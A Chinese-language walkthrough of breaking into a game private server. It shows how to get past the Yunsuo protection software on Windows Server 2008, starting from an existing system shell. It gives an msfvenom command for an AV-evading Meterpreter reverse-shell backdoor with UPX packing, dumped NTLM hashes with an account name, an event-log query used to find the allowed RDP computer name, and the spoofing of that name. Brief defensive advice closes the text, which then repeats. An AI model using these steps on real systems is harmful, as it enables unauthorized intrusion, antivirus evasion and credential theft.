“撬锁”实战:绕过云锁提权某游戏私服
字数 1032 2025-08-18 11:37:28

绕过云锁提权的技术分析与防御措施

技术背景

本文介绍了一种在Windows Server 2008环境下绕过云锁防护软件进行提权的技术方法。攻击者通过已有的shell权限(system级别)最终获取了管理员远程桌面访问权限。

环境分析

  1. 初始权限确认:

    • 执行whoami确认当前为system权限
    • 服务器系统:Windows Server 2008
  2. 防护软件检测:

    • 通过tasklist /svc发现云锁进程运行中
    • net user命令被云锁禁用

提权过程详解

第一步:尝试常规方法

  1. 尝试上传net.exe到可写目录:
    • 云锁阻止了任何目录下的net.exe执行
    • 不同于安全狗,云锁对所有目录的执行权限控制更严格

第二步:获取密码哈希

  1. 直接读取密码的尝试:

    • 使用getpassword工具被云锁拦截
  2. 生成免杀后门:

    • 使用MSFVenom生成Meterpreter后门:
      msfvenom -a x86 --platform win -p windows/meterpreter/reverse_tcp LHOST=xxxxx LPORT=xxxx -e x86/shikata_ga_nai -i 5 -f exe > /root/testtest.exe
      
    • 使用UPX加壳增强免杀:
      upx -6 /root/testtest.exe
      
    • 上传并执行后门程序
  3. 获取密码哈希:

    • 通过Meterpreter的hashdump获取用户哈希:
      wuhuijun:500:aad3b435b51404eeaad3b435b51404ee:5eb5f692224005cfd316b84f7d459d06:::
      Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
      
    • 对获取的NTLM哈希进行破解,获得明文密码

第三步:绕过远程桌面限制

  1. 发现计算机名限制:

    • 远程桌面端口为默认3389
    • 服务器设置了只允许特定计算机名连接
  2. 获取允许的计算机名:

    • 使用Windows事件日志查询命令:
      wevtutil.exe qe security "/q:*[System [(EventID=4624)]]" /f:text /rd:true /c:100 > c:\sys.txt
      
    • 查找日志中类型为3(远程登录)的记录,发现允许的计算机名为PC-20180525EFUP
  3. 修改本地计算机名:

    • 将攻击机计算机名改为PC-20180525EFUP
    • 重启后使用获取的凭据成功连接远程桌面

防御建议

  1. 针对云锁配置:

    • 启用所有可执行文件的执行控制
    • 加强日志监控,特别是安全日志的完整性保护
  2. 系统加固措施:

    • 限制system权限账户的滥用
    • 启用更严格的远程桌面限制(如IP白名单而非计算机名)
    • 定期轮换管理员密码
  3. 日志管理:

    • 限制普通用户访问安全事件日志
    • 考虑将日志实时同步到安全SIEM系统
  4. 哈希保护:

    • 启用Credential Guard等Windows安全功能
    • 使用更复杂的密码策略增加哈希破解难度

技术总结

本案例展示了即使拥有system权限,在云锁防护下仍需采用多阶段技术才能完成提权。关键点在于:

  1. 通过免杀技术绕过云锁的可执行文件检测
  2. 利用system权限直接获取密码哈希
  3. 通过事件日志分析获取系统配置信息
  4. 本地环境伪装绕过基于计算机名的访问控制

此技术路径强调了纵深防御的重要性,单一防护措施容易被绕过。

绕过云锁提权的技术分析与防御措施 技术背景 本文介绍了一种在Windows Server 2008环境下绕过云锁防护软件进行提权的技术方法。攻击者通过已有的shell权限(system级别)最终获取了管理员远程桌面访问权限。 环境分析 初始权限确认: 执行 whoami 确认当前为 system 权限 服务器系统:Windows Server 2008 防护软件检测: 通过 tasklist /svc 发现云锁进程运行中 net user 命令被云锁禁用 提权过程详解 第一步:尝试常规方法 尝试上传 net.exe 到可写目录: 云锁阻止了任何目录下的 net.exe 执行 不同于安全狗,云锁对所有目录的执行权限控制更严格 第二步:获取密码哈希 直接读取密码的尝试: 使用 getpassword 工具被云锁拦截 生成免杀后门: 使用MSFVenom生成Meterpreter后门: 使用UPX加壳增强免杀: 上传并执行后门程序 获取密码哈希: 通过Meterpreter的 hashdump 获取用户哈希: 对获取的NTLM哈希进行破解,获得明文密码 第三步:绕过远程桌面限制 发现计算机名限制: 远程桌面端口为默认3389 服务器设置了只允许特定计算机名连接 获取允许的计算机名: 使用Windows事件日志查询命令: 查找日志中类型为3(远程登录)的记录,发现允许的计算机名为 PC-20180525EFUP 修改本地计算机名: 将攻击机计算机名改为 PC-20180525EFUP 重启后使用获取的凭据成功连接远程桌面 防御建议 针对云锁配置: 启用所有可执行文件的执行控制 加强日志监控,特别是安全日志的完整性保护 系统加固措施: 限制system权限账户的滥用 启用更严格的远程桌面限制(如IP白名单而非计算机名) 定期轮换管理员密码 日志管理: 限制普通用户访问安全事件日志 考虑将日志实时同步到安全SIEM系统 哈希保护: 启用Credential Guard等Windows安全功能 使用更复杂的密码策略增加哈希破解难度 技术总结 本案例展示了即使拥有system权限,在云锁防护下仍需采用多阶段技术才能完成提权。关键点在于: 通过免杀技术绕过云锁的可执行文件检测 利用system权限直接获取密码哈希 通过事件日志分析获取系统配置信息 本地环境伪装绕过基于计算机名的访问控制 此技术路径强调了纵深防御的重要性,单一防护措施容易被绕过。